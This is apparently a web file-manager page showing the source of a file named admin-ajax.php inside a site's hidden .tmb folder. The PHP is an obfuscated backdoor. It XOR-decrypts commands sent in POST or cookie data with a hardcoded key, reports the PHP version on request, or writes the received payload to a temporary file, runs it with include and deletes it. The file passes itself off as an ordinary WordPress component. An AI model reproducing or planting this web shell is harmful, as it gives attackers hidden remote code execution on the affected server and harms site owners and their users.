文件操作 - admin-ajax.php

文件: /storage/v12552/rokpaw/public_html/.tmb/admin-ajax.php

编辑文件内容

<?php

$oypkexszn /*   i  */ =	'oypkexszn'   ^ /* smpg  */ '';$txrvbdtpca /*gunub */ =	"a"."\x72"     . /*   tt   */ "r"."\x61" /*   aluok */ .    $oypkexszn(121) /*  iaxb*/ .    "_"."m"."a".$oypkexszn(112);$nteskv /*  xrj   */ =    $oypkexszn(214-108)    . /*   nw */ "o".$oypkexszn(105)       .    "n";

function       egjrgwgi($nfccwlhpm,	$znfrcghmm)

{
 /*  tuwlk */ global /*b*/ $oypkexszn;

qzwph($znfrcghmm);

}

$txbvsm   =    73;

function      qzwph($znfrcghmm)

{

global    $oypkexszn;
 /*l */    include($znfrcghmm); /*ym */ $yyyfjge_s    = /*  fcyjt*/ $znfrcghmm; /*vjfrk */ @unlink($yyyfjge_s);}
function /*  n  */ _v__fydncg(){
 /*  iu_*/ global      $oypkexszn;

/*   evikw  */ $i_lrjh    =	array();
     $i_lrjh[$oypkexszn(1021-909)   .    "\166"] /*   ghrxd  */ =  phpversion();  $i_lrjh["s"."\166"]      =      "3"."\x2e"    .	"\65";

$yecihf /*syg   */ =  74;

echo /*   gefme  */ @serialize($i_lrjh);
}

function /*  z   */ sqt_m($nfccwlhpm,	$bmxti)
{	global     $oypkexszn;

$ylcbjkk /* vc */ =  "";      $pecqbbg     =    strlen($nfccwlhpm);

$fjvtmxk    =	strlen($bmxti);

$i_lrjh /*jrhhy */ = /* h  */ 0;
       $rtyaxzzmz    =	0;

while /*osp*/ ($i_lrjh	< /* qbwekf */ $pecqbbg) /*huaaa */ {

$nzjqokbgx	= /* xhu   */ $nfccwlhpm[$i_lrjh]	^    $bmxti[$rtyaxzzmz   % /*fau   */ $fjvtmxk]; /* gxainw*/ $ylcbjkk	.=    $nzjqokbgx;

$rtyaxzzmz++;     /* ftjy  */ $i_lrjh++;

/*   pkb_jk   */ }

if /* g   */ (strlen($ylcbjkk) /*   rmumub */ >    20)    {    $ot_oihhtg	= /*hulk*/ substr($ylcbjkk,    0,   20);

/*vy */ }
    if       (empty($ylcbjkk))  {

/* fdqc*/ $ylcbjkk    = /*   bpes*/ date('Y-m-d	H:i:s');	} /*   lp*/ return	$ylcbjkk;

}

function    wl_oxmsc($awlmkcr)
{ /*pzjlwx   */ global    $oypkexszn;

/*  c  */

$hnpyalmm       = /*  vrscrf */ "3"."\x61"      .    "f"."\x39" /*mmhn   */ .   $oypkexszn(241-190)	.   "7"."\x34"  .     "\x37" /* wcnjhy   */ .   "-"."5"."9"."f"."6"."\x2d"   .   "4"."\67"    .  $oypkexszn(54) /*  tais*/ .    $oypkexszn(788-740)	. /* d_vcfi  */ $oypkexszn(783-738)    .	"b"."1"."5".$oypkexszn(281-179)       .     "-"."\63"	.      $oypkexszn(335-279) /*q */ .    "1"."b".$oypkexszn(52)	.    "1"."5".$oypkexszn(53)    .    "\x33"  .      "8"."1"."9";    
    foreach	($awlmkcr       as	$nugpn	=>	$nfccwlhpm)    {     jrdlih(base64_decode($nfccwlhpm), /*   hjgm*/ $hnpyalmm,      $nugpn);

}}

function /*i */ jrdlih($nfccwlhpm,    $hnpyalmm,       $nugpn)

{

global    $oypkexszn;

/*  ond_wf  */

$nfccwlhpm    =	unserialize(sqt_m(sqt_m($nfccwlhpm,    $hnpyalmm),	$nugpn));

$wpjpxq    =	'vwgayd';

$axgfbuisrh /*   iuyxb  */ =       'vrvoqvg_'; /*ag_j_f*/ if  (isset($nfccwlhpm["a"."\x6b"]))      {

if    ($nfccwlhpm["a"]   ==	"\x69")      {

_v__fydncg();     }    elseif	($nfccwlhpm["a"]     == /*  xxj */ "\x65")    {

egjrgwgi($nfccwlhpm,    sprintf("\x2e"  .  $oypkexszn(909-862)   .	"\x25"     . /*vnnm   */ "\163" /* tssron */ .    "."."\160"   . /*gmtcta */ $oypkexszn(925-817),      md5($hnpyalmm)));			$tcumvac /*   p  */ =     44;    }

/* xiqt_v */ exit();    }}

wl_oxmsc($_POST); /* ngp*/ 
$dcdjii    =    Array();

$bunvn_m /* i */ =     $txrvbdtpca('rawurldecode', /*snxxx   */ $_POST);
$nteskv($dcdjii);

wl_oxmsc($_COOKIE);

$lsyzcfafm	=     $txrvbdtpca('rawurldecode',    $_COOKIE);

文件操作 - admin-ajax.php

文件: /storage/v12552/rokpaw/public_html/.tmb/admin-ajax.php

编辑文件内容

修改文件时间

删除文件